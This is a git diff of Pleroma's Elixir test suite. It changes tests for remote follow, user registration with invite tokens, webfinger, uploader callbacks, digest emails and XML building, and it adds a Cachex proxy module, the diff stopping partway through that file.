	diff --git a/test/pleroma/web/twitter_api/remote_follow_controller_test.exs b/test/pleroma/web/twitter_api/remote_follow_controller_test.exs
	index a3e784d13..dfe5b02be 100644
	--- a/test/pleroma/web/twitter_api/remote_follow_controller_test.exs
	+++ b/test/pleroma/web/twitter_api/remote_follow_controller_test.exs
	@@ -1,349 +1,383 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do
	use Pleroma.Web.ConnCase

	alias Pleroma.MFA
	alias Pleroma.MFA.TOTP
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import ExUnit.CaptureLog
	import Pleroma.Factory
	import Ecto.Query

	- setup do
	- Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	- :ok
	- end
	-
	setup_all do: clear_config([:instance, :federating], true)
	- setup do: clear_config([:instance])
	- setup do: clear_config([:frontend_configurations, :pleroma_fe])
	setup do: clear_config([:user, :deny_follow_blocked])

	describe "GET /ostatus_subscribe - remote_follow/2" do
	test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do
	+ Tesla.Mock.mock(fn
	+ %{method: :get, url: "https://mastodon.social/users/emelie/statuses/101849165031453009"} ->
	+ %Tesla.Env{
	+ status: 200,
	+ headers: [{"content-type", "application/activity+json"}],
	+ body: File.read!("test/fixtures/tesla_mock/status.emelie.json")
	+ }
	+
	+ %{method: :get, url: "https://mastodon.social/users/emelie"} ->
	+ %Tesla.Env{
	+ status: 200,
	+ headers: [{"content-type", "application/activity+json"}],
	+ body: File.read!("test/fixtures/tesla_mock/emelie.json")
	+ }
	+ end)
	+
	assert conn
	\|> get(
	remote_follow_path(conn, :follow, %{
	acct: "https://mastodon.social/users/emelie/statuses/101849165031453009"
	})
	)
	\|> redirected_to() =~ "/notice/"
	end

	test "show follow account page if the `acct` is a account link", %{conn: conn} do
	+ Tesla.Mock.mock(fn
	+ %{method: :get, url: "https://mastodon.social/users/emelie"} ->
	+ %Tesla.Env{
	+ status: 200,
	+ headers: [{"content-type", "application/activity+json"}],
	+ body: File.read!("test/fixtures/tesla_mock/emelie.json")
	+ }
	+ end)
	+
	response =
	conn
	\|> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"}))
	\|> html_response(200)

	assert response =~ "Log in to follow"
	end

	test "show follow page if the `acct` is a account link", %{conn: conn} do
	+ Tesla.Mock.mock(fn
	+ %{method: :get, url: "https://mastodon.social/users/emelie"} ->
	+ %Tesla.Env{
	+ status: 200,
	+ headers: [{"content-type", "application/activity+json"}],
	+ body: File.read!("test/fixtures/tesla_mock/emelie.json")
	+ }
	+ end)
	+
	user = insert(:user)

	response =
	conn
	\|> assign(:user, user)
	\|> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"}))
	\|> html_response(200)

	assert response =~ "Remote follow"
	end

	- test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do
	+ test "show follow page with error when user can not be fetched by `acct` link", %{conn: conn} do
	+ Tesla.Mock.mock(fn
	+ %{method: :get, url: "https://mastodon.social/users/not_found"} ->
	+ %Tesla.Env{
	+ status: 404
	+ }
	+ end)
	+
	user = insert(:user)

	assert capture_log(fn ->
	response =
	conn
	\|> assign(:user, user)
	\|> get(
	remote_follow_path(conn, :follow, %{
	acct: "https://mastodon.social/users/not_found"
	})
	)
	\|> html_response(200)

	assert response =~ "Error fetching user"
	end) =~ "Object has been deleted"
	end
	end

	describe "POST /ostatus_subscribe - do_follow/2 with assigned user " do
	test "required `follow \| write:follows` scope", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)
	read_token = insert(:oauth_token, user: user, scopes: ["read"])

	assert capture_log(fn ->
	response =
	conn
	\|> assign(:user, user)
	\|> assign(:token, read_token)
	\|> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
	\|> response(200)

	assert response =~ "Error following account"
	end) =~ "Insufficient permissions: follow \| write:follows."
	end

	test "follows user", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"]))
	\|> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})

	assert redirected_to(conn) == "/users/#{user2.id}"
	end

	test "returns error when user is deactivated", %{conn: conn} do
	user = insert(:user, deactivated: true)
	user2 = insert(:user)

	response =
	conn
	\|> assign(:user, user)
	\|> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
	\|> response(200)

	assert response =~ "Error following account"
	end

	test "returns error when user is blocked", %{conn: conn} do
	Pleroma.Config.put([:user, :deny_follow_blocked], true)
	user = insert(:user)
	user2 = insert(:user)

	{:ok, _user_block} = Pleroma.User.block(user2, user)

	response =
	conn
	\|> assign(:user, user)
	\|> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})
	\|> response(200)

	assert response =~ "Error following account"
	end

	test "returns error when followee not found", %{conn: conn} do
	user = insert(:user)

	response =
	conn
	\|> assign(:user, user)
	\|> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => "jimm"}})
	\|> response(200)

	assert response =~ "Error following account"
	end

	test "returns success result when user already in followers", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)
	{:ok, _, _, _} = CommonAPI.follow(user, user2)

	conn =
	conn
	\|> assign(:user, refresh_record(user))
	\|> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"]))
	\|> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}})

	assert redirected_to(conn) == "/users/#{user2.id}"
	end
	end

	describe "POST /ostatus_subscribe - follow/2 with enabled Two-Factor Auth " do
	test "render the MFA login form", %{conn: conn} do
	otp_secret = TOTP.generate_secret()

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	user2 = insert(:user)

	response =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id}
	})
	\|> response(200)

	mfa_token = Pleroma.Repo.one(from(q in Pleroma.MFA.Token, where: q.user_id == ^user.id))

	assert response =~ "Two-factor authentication"
	assert response =~ "Authentication code"
	assert response =~ mfa_token.token
	refute user2.follower_address in User.following(user)
	end

	test "returns error when password is incorrect", %{conn: conn} do
	otp_secret = TOTP.generate_secret()

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	user2 = insert(:user)

	response =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => user.nickname, "password" => "test1", "id" => user2.id}
	})
	\|> response(200)

	assert response =~ "Wrong username or password"
	refute user2.follower_address in User.following(user)
	end

	test "follows", %{conn: conn} do
	otp_secret = TOTP.generate_secret()

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	{:ok, %{token: token}} = MFA.Token.create(user)

	user2 = insert(:user)
	otp_token = TOTP.generate_token(otp_secret)

	conn =
	conn
	\|> post(
	remote_follow_path(conn, :do_follow),
	%{
	"mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id}
	}
	)

	assert redirected_to(conn) == "/users/#{user2.id}"
	assert user2.follower_address in User.following(user)
	end

	test "returns error when auth code is incorrect", %{conn: conn} do
	otp_secret = TOTP.generate_secret()

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	{:ok, %{token: token}} = MFA.Token.create(user)

	user2 = insert(:user)
	otp_token = TOTP.generate_token(TOTP.generate_secret())

	response =
	conn
	\|> post(
	remote_follow_path(conn, :do_follow),
	%{
	"mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id}
	}
	)
	\|> response(200)

	assert response =~ "Wrong authentication code"
	refute user2.follower_address in User.following(user)
	end
	end

	describe "POST /ostatus_subscribe - follow/2 without assigned user " do
	test "follows", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)

	conn =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id}
	})

	assert redirected_to(conn) == "/users/#{user2.id}"
	assert user2.follower_address in User.following(user)
	end

	test "returns error when followee not found", %{conn: conn} do
	user = insert(:user)

	response =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => user.nickname, "password" => "test", "id" => "jimm"}
	})
	\|> response(200)

	assert response =~ "Error following account"
	end

	test "returns error when login invalid", %{conn: conn} do
	user = insert(:user)

	response =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => "jimm", "password" => "test", "id" => user.id}
	})
	\|> response(200)

	assert response =~ "Wrong username or password"
	end

	test "returns error when password invalid", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)

	response =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => user.nickname, "password" => "42", "id" => user2.id}
	})
	\|> response(200)

	assert response =~ "Wrong username or password"
	end

	test "returns error when user is blocked", %{conn: conn} do
	Pleroma.Config.put([:user, :deny_follow_blocked], true)
	user = insert(:user)
	user2 = insert(:user)
	{:ok, _user_block} = Pleroma.User.block(user2, user)

	response =
	conn
	\|> post(remote_follow_path(conn, :do_follow), %{
	"authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id}
	})
	\|> response(200)

	assert response =~ "Error following account"
	end
	end
	end
	diff --git a/test/pleroma/web/twitter_api/twitter_api_test.exs b/test/pleroma/web/twitter_api/twitter_api_test.exs
	index 4a418dee3..5586a9a13 100644
	--- a/test/pleroma/web/twitter_api/twitter_api_test.exs
	+++ b/test/pleroma/web/twitter_api/twitter_api_test.exs
	@@ -1,437 +1,431 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
	use Pleroma.DataCase
	import Pleroma.Factory
	alias Pleroma.Repo
	alias Pleroma.Tests.ObanHelpers
	alias Pleroma.User
	alias Pleroma.UserInviteToken
	alias Pleroma.Web.TwitterAPI.TwitterAPI

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "it registers a new user and returns the user." do
	data = %{
	:username => "lain",
	:email => "lain@wired.jp",
	:fullname => "lain iwakura",
	:password => "bear",
	:confirm => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	assert user == User.get_cached_by_nickname("lain")
	end

	test "it registers a new user with empty string in bio and returns the user" do
	data = %{
	:username => "lain",
	:email => "lain@wired.jp",
	:fullname => "lain iwakura",
	:bio => "",
	:password => "bear",
	:confirm => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	assert user == User.get_cached_by_nickname("lain")
	end

	test "it sends confirmation email if :account_activation_required is specified in instance config" do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	data = %{
	:username => "lain",
	:email => "lain@wired.jp",
	:fullname => "lain iwakura",
	:bio => "",
	:password => "bear",
	:confirm => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)
	ObanHelpers.perform_all()

	assert user.confirmation_pending

	email = Pleroma.Emails.UserEmail.account_confirmation_email(user)

	notify_email = Pleroma.Config.get([:instance, :notify_email])
	instance_name = Pleroma.Config.get([:instance, :name])

	Swoosh.TestAssertions.assert_email_sent(
	from: {instance_name, notify_email},
	to: {user.name, user.email},
	html_body: email.html_body
	)
	end

	test "it sends an admin email if :account_approval_required is specified in instance config" do
	clear_config([:instance, :account_approval_required], true)

	admin = insert(:user, is_admin: true)

	data = %{
	:username => "lain",
	:email => "lain@wired.jp",
	:fullname => "lain iwakura",
	:bio => "",
	:password => "bear",
	:confirm => "bear",
	:reason => "I love anime"
	}

	{:ok, user} = TwitterAPI.register_user(data)
	ObanHelpers.perform_all()

	assert user.approval_pending

	user_email = Pleroma.Emails.UserEmail.approval_pending_email(user)
	admin_email = Pleroma.Emails.AdminEmail.new_unapproved_registration(admin, user)

	notify_email = Pleroma.Config.get([:instance, :notify_email])
	instance_name = Pleroma.Config.get([:instance, :name])

	# User approval email
	Swoosh.TestAssertions.assert_email_sent(
	from: {instance_name, notify_email},
	to: {user.name, user.email},
	html_body: user_email.html_body
	)

	# Admin email
	Swoosh.TestAssertions.assert_email_sent(
	from: {instance_name, notify_email},
	to: {admin.name, admin.email},
	html_body: admin_email.html_body
	)
	end

	test "it registers a new user and parses mentions in the bio" do
	data1 = %{
	:username => "john",
	:email => "john@gmail.com",
	:fullname => "John Doe",
	:bio => "test",
	:password => "bear",
	:confirm => "bear"
	}

	{:ok, user1} = TwitterAPI.register_user(data1)

	data2 = %{
	:username => "lain",
	:email => "lain@wired.jp",
	:fullname => "lain iwakura",
	:bio => "@john test",
	:password => "bear",
	:confirm => "bear"
	}

	{:ok, user2} = TwitterAPI.register_user(data2)

	expected_text =
	~s(<span class="h-card"><a class="u-url mention" data-user="#{user1.id}" href="#{
	user1.ap_id
	}" rel="ugc">@<span>john</span></a></span> test)

	assert user2.bio == expected_text
	end

	describe "register with one time token" do
	setup do: clear_config([:instance, :registrations_open], false)

	test "returns user on success" do
	{:ok, invite} = UserInviteToken.create_invite()

	data = %{
	:username => "vinny",
	:email => "pasta@pizza.vs",
	:fullname => "Vinny Vinesauce",
	:bio => "streamer",
	:password => "hiptofbees",
	:confirm => "hiptofbees",
	:token => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)

	assert user == User.get_cached_by_nickname("vinny")

	invite = Repo.get_by(UserInviteToken, token: invite.token)
	assert invite.used == true
	end

	test "returns error on invalid token" do
	data = %{
	:username => "GrimReaper",
	:email => "death@reapers.afterlife",
	:fullname => "Reaper Grim",
	:bio => "Your time has come",
	:password => "scythe",
	:confirm => "scythe",
	:token => "DudeLetMeInImAFairy"
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Invalid token"
	refute User.get_cached_by_nickname("GrimReaper")
	end

	test "returns error on expired token" do
	{:ok, invite} = UserInviteToken.create_invite()
	UserInviteToken.update_invite!(invite, used: true)

	data = %{
	:username => "GrimReaper",
	:email => "death@reapers.afterlife",
	:fullname => "Reaper Grim",
	:bio => "Your time has come",
	:password => "scythe",
	:confirm => "scythe",
	:token => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end
	end

	describe "registers with date limited token" do
	setup do: clear_config([:instance, :registrations_open], false)

	setup do
	data = %{
	:username => "vinny",
	:email => "pasta@pizza.vs",
	:fullname => "Vinny Vinesauce",
	:bio => "streamer",
	:password => "hiptofbees",
	:confirm => "hiptofbees"
	}

	check_fn = fn invite ->
	data = Map.put(data, :token, invite.token)
	{:ok, user} = TwitterAPI.register_user(data)

	assert user == User.get_cached_by_nickname("vinny")
	end

	{:ok, data: data, check_fn: check_fn}
	end

	test "returns user on success", %{check_fn: check_fn} do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today()})

	check_fn.(invite)

	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used
	end

	test "returns user on token which expired tomorrow", %{check_fn: check_fn} do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), 1)})

	check_fn.(invite)

	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used
	end

	test "returns an error on overdue date", %{data: data} do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1)})

	data = Map.put(data, "token", invite.token)

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("vinny")
	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used
	end
	end

	describe "registers with reusable token" do
	setup do: clear_config([:instance, :registrations_open], false)

	test "returns user on success, after him registration fails" do
	{:ok, invite} = UserInviteToken.create_invite(%{max_use: 100})

	UserInviteToken.update_invite!(invite, uses: 99)

	data = %{
	:username => "vinny",
	:email => "pasta@pizza.vs",
	:fullname => "Vinny Vinesauce",
	:bio => "streamer",
	:password => "hiptofbees",
	:confirm => "hiptofbees",
	:token => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)
	assert user == User.get_cached_by_nickname("vinny")

	invite = Repo.get_by(UserInviteToken, token: invite.token)
	assert invite.used == true

	data = %{
	:username => "GrimReaper",
	:email => "death@reapers.afterlife",
	:fullname => "Reaper Grim",
	:bio => "Your time has come",
	:password => "scythe",
	:confirm => "scythe",
	:token => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end
	end

	describe "registers with reusable date limited token" do
	setup do: clear_config([:instance, :registrations_open], false)

	test "returns user on success" do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100})

	data = %{
	:username => "vinny",
	:email => "pasta@pizza.vs",
	:fullname => "Vinny Vinesauce",
	:bio => "streamer",
	:password => "hiptofbees",
	:confirm => "hiptofbees",
	:token => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)
	assert user == User.get_cached_by_nickname("vinny")

	invite = Repo.get_by(UserInviteToken, token: invite.token)
	refute invite.used
	end

	test "error after max uses" do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100})

	UserInviteToken.update_invite!(invite, uses: 99)

	data = %{
	:username => "vinny",
	:email => "pasta@pizza.vs",
	:fullname => "Vinny Vinesauce",
	:bio => "streamer",
	:password => "hiptofbees",
	:confirm => "hiptofbees",
	:token => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)
	assert user == User.get_cached_by_nickname("vinny")

	invite = Repo.get_by(UserInviteToken, token: invite.token)
	assert invite.used == true

	data = %{
	:username => "GrimReaper",
	:email => "death@reapers.afterlife",
	:fullname => "Reaper Grim",
	:bio => "Your time has come",
	:password => "scythe",
	:confirm => "scythe",
	:token => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end

	test "returns error on overdue date" do
	{:ok, invite} =
	UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100})

	data = %{
	:username => "GrimReaper",
	:email => "death@reapers.afterlife",
	:fullname => "Reaper Grim",
	:bio => "Your time has come",
	:password => "scythe",
	:confirm => "scythe",
	:token => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end

	test "returns error on with overdue date and after max" do
	{:ok, invite} =
	UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100})

	UserInviteToken.update_invite!(invite, uses: 100)

	data = %{
	:username => "GrimReaper",
	:email => "death@reapers.afterlife",
	:fullname => "Reaper Grim",
	:bio => "Your time has come",
	:password => "scythe",
	:confirm => "scythe",
	:token => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end
	end

	test "it returns the error on registration problems" do
	data = %{
	:username => "lain",
	:email => "lain@wired.jp",
	:fullname => "lain iwakura",
	:bio => "close the world."
	}

	{:error, error} = TwitterAPI.register_user(data)

	assert is_binary(error)
	refute User.get_cached_by_nickname("lain")
	end
	-
	- setup do
	- Supervisor.terminate_child(Pleroma.Supervisor, Cachex)
	- Supervisor.restart_child(Pleroma.Supervisor, Cachex)
	- :ok
	- end
	end
	diff --git a/test/pleroma/web/uploader_controller_test.exs b/test/pleroma/web/uploader_controller_test.exs
	index 21e518236..00f9e72ec 100644
	--- a/test/pleroma/web/uploader_controller_test.exs
	+++ b/test/pleroma/web/uploader_controller_test.exs
	@@ -1,43 +1,43 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.UploaderControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true
	alias Pleroma.Uploaders.Uploader

	describe "callback/2" do
	test "it returns 400 response when process callback isn't alive", %{conn: conn} do
	res =
	conn
	\|> post(uploader_path(conn, :callback, "test-path"))

	assert res.status == 400
	assert res.resp_body == "{\"error\":\"bad request\"}"
	end

	test "it returns success result", %{conn: conn} do
	task =
	Task.async(fn ->
	receive do
	{Uploader, pid, conn, _params} ->
	conn =
	conn
	\|> put_status(:ok)
	\|> Phoenix.Controller.json(%{upload_path: "test-path"})

	send(pid, {Uploader, conn})
	end
	end)

	:global.register_name({Uploader, "test-path"}, task.pid)

	res =
	conn
	\|> post(uploader_path(conn, :callback, "test-path"))
	\|> json_response(200)

	assert res == %{"upload_path" => "test-path"}
	end
	end
	end
	diff --git a/test/pleroma/web/web_finger_test.exs b/test/pleroma/web/web_finger_test.exs
	index 19f33a975..cdb84ae1e 100644
	--- a/test/pleroma/web/web_finger_test.exs
	+++ b/test/pleroma/web/web_finger_test.exs
	@@ -1,117 +1,117 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.WebFingerTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Web.WebFinger
	import Pleroma.Factory
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "host meta" do
	test "returns a link to the xml lrdd" do
	host_info = WebFinger.host_meta()

	assert String.contains?(host_info, Pleroma.Web.base_url())
	end
	end

	describe "incoming webfinger request" do
	test "works for fqns" do
	user = insert(:user)

	{:ok, result} =
	WebFinger.webfinger("#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", "XML")

	assert is_binary(result)
	end

	test "works for ap_ids" do
	user = insert(:user)

	{:ok, result} = WebFinger.webfinger(user.ap_id, "XML")
	assert is_binary(result)
	end
	end

	describe "fingering" do
	test "returns error for nonsensical input" do
	assert {:error, _} = WebFinger.finger("bliblablu")
	assert {:error, _} = WebFinger.finger("pleroma.social")
	end

	test "returns error when fails parse xml or json" do
	user = "invalid_content@social.heldscal.la"
	assert {:error, %Jason.DecodeError{}} = WebFinger.finger(user)
	end

	test "returns the ActivityPub actor URI for an ActivityPub user" do
	user = "framasoft@framatube.org"

	{:ok, _data} = WebFinger.finger(user)
	end

	test "returns the ActivityPub actor URI and subscribe address for an ActivityPub user with the ld+json mimetype" do
	user = "kaniini@gerzilla.de"

	{:ok, data} = WebFinger.finger(user)

	assert data["ap_id"] == "https://gerzilla.de/channel/kaniini"
	assert data["subscribe_address"] == "https://gerzilla.de/follow?f=&url={uri}"
	end

	test "it work for AP-only user" do
	user = "kpherox@mstdn.jp"

	{:ok, data} = WebFinger.finger(user)

	assert data["magic_key"] == nil
	assert data["salmon"] == nil

	assert data["topic"] == nil
	assert data["subject"] == "acct:kPherox@mstdn.jp"
	assert data["ap_id"] == "https://mstdn.jp/users/kPherox"
	assert data["subscribe_address"] == "https://mstdn.jp/authorize_interaction?acct={uri}"
	end

	test "it works for friendica" do
	user = "lain@squeet.me"

	{:ok, _data} = WebFinger.finger(user)
	end

	test "it gets the xrd endpoint" do
	{:ok, template} = WebFinger.find_lrdd_template("social.heldscal.la")

	assert template == "https://social.heldscal.la/.well-known/webfinger?resource={uri}"
	end

	test "it gets the xrd endpoint for hubzilla" do
	{:ok, template} = WebFinger.find_lrdd_template("macgirvin.com")

	assert template == "https://macgirvin.com/xrd/?uri={uri}"
	end

	test "it gets the xrd endpoint for statusnet" do
	{:ok, template} = WebFinger.find_lrdd_template("status.alpicola.com")

	assert template == "http://status.alpicola.com/main/xrd?uri={uri}"
	end

	test "it works with idna domains as nickname" do
	nickname = "lain@" <> to_string(:idna.encode("zetsubou.みんな"))

	{:ok, _data} = WebFinger.finger(nickname)
	end

	test "it works with idna domains as link" do
	ap_id = "https://" <> to_string(:idna.encode("zetsubou.みんな")) <> "/users/lain"
	{:ok, _data} = WebFinger.finger(ap_id)
	end
	end
	end
	diff --git a/test/pleroma/workers/cron/new_users_digest_worker_test.exs b/test/pleroma/workers/cron/new_users_digest_worker_test.exs
	index 75c9aa4a3..e00ed6745 100644
	--- a/test/pleroma/workers/cron/new_users_digest_worker_test.exs
	+++ b/test/pleroma/workers/cron/new_users_digest_worker_test.exs
	@@ -1,45 +1,45 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Workers.Cron.NewUsersDigestWorkerTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.Tests.ObanHelpers
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Workers.Cron.NewUsersDigestWorker

	test "it sends new users digest emails" do
	yesterday = NaiveDateTime.utc_now() \|> Timex.shift(days: -1)
	admin = insert(:user, %{is_admin: true})
	user = insert(:user, %{inserted_at: yesterday})
	user2 = insert(:user, %{inserted_at: yesterday})
	CommonAPI.post(user, %{status: "cofe"})

	NewUsersDigestWorker.perform(%Oban.Job{})
	ObanHelpers.perform_all()

	assert_received {:email, email}
	assert email.to == [{admin.name, admin.email}]
	assert email.subject == "#{Pleroma.Config.get([:instance, :name])} New Users"

	refute email.html_body =~ admin.nickname
	assert email.html_body =~ user.nickname
	assert email.html_body =~ user2.nickname
	assert email.html_body =~ "cofe"
	assert email.html_body =~ "#{Pleroma.Web.Endpoint.url()}/static/logo.svg"
	end

	test "it doesn't fail when admin has no email" do
	yesterday = NaiveDateTime.utc_now() \|> Timex.shift(days: -1)
	insert(:user, %{is_admin: true, email: nil})
	insert(:user, %{inserted_at: yesterday})
	user = insert(:user, %{inserted_at: yesterday})

	CommonAPI.post(user, %{status: "cofe"})

	NewUsersDigestWorker.perform(%Oban.Job{})
	ObanHelpers.perform_all()
	end
	end
	diff --git a/test/pleroma/xml_builder_test.exs b/test/pleroma/xml_builder_test.exs
	index 059384c34..a4c73359d 100644
	--- a/test/pleroma/xml_builder_test.exs
	+++ b/test/pleroma/xml_builder_test.exs
	@@ -1,65 +1,65 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.XmlBuilderTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.XmlBuilder

	test "Build a basic xml string from a tuple" do
	data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"}

	expected_xml = "<feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>"

	assert XmlBuilder.to_xml(data) == expected_xml
	end

	test "returns a complete document" do
	data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"}

	expected_xml =
	"<?xml version=\"1.0\" encoding=\"UTF-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>"

	assert XmlBuilder.to_doc(data) == expected_xml
	end

	test "Works without attributes" do
	data = {
	:feed,
	"Some content"
	}

	expected_xml = "<feed>Some content</feed>"

	assert XmlBuilder.to_xml(data) == expected_xml
	end

	test "It works with nested tuples" do
	data = {
	:feed,
	[
	{:guy, "brush"},
	{:lament, %{configuration: "puzzle"}, "pinhead"}
	]
	}

	expected_xml =
	~s[<feed><guy>brush</guy><lament configuration="puzzle">pinhead</lament></feed>]

	assert XmlBuilder.to_xml(data) == expected_xml
	end

	test "Represents NaiveDateTime as iso8601" do
	assert XmlBuilder.to_xml(~N[2000-01-01 13:13:33]) == "2000-01-01T13:13:33"
	end

	test "Uses self-closing tags when no content is giving" do
	data = {
	:link,
	%{rel: "self"}
	}

	expected_xml = ~s[<link rel="self" />]
	assert XmlBuilder.to_xml(data) == expected_xml
	end
	end
	diff --git a/test/support/cachex_proxy.ex b/test/support/cachex_proxy.ex
	new file mode 100644
	index 000000000..e296b5c6a
	--- /dev/null
	+++ b/test/support/cachex_proxy.ex
	@@ -0,0 +1,40 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.CachexProxy do
	+ @behaviour Pleroma.Caching
	+
	+ @impl true
	+ defdelegate get!(cache, key), to: Cachex
	+
	+ @impl true
	+ defdelegate stream!(cache, key), to: Cachex
	+
	+ @impl true
	+ defdelegate put(cache, key, value, options), to: Cachex
	+
	+ @impl true
	+ defdelegate put(cache, key, value), to: Cachex
	+
	+ @impl true
	+ defdelegate get_and_update(cache, key, func), to: Cachex
	+
	+ @impl true
	+ defdelegate get(cache, key), to: Cachex
	+
	+ @impl true
	+ defdelegate fetch!(cache, key, func), to: Cachex
	+
	+ @impl true
	+ defdelegate expire_at(cache, str, num), to: Cachex
	+
	+ @impl true
	+ defdelegate exists?(cache, key), to: Cachex
	+
	+ @impl true
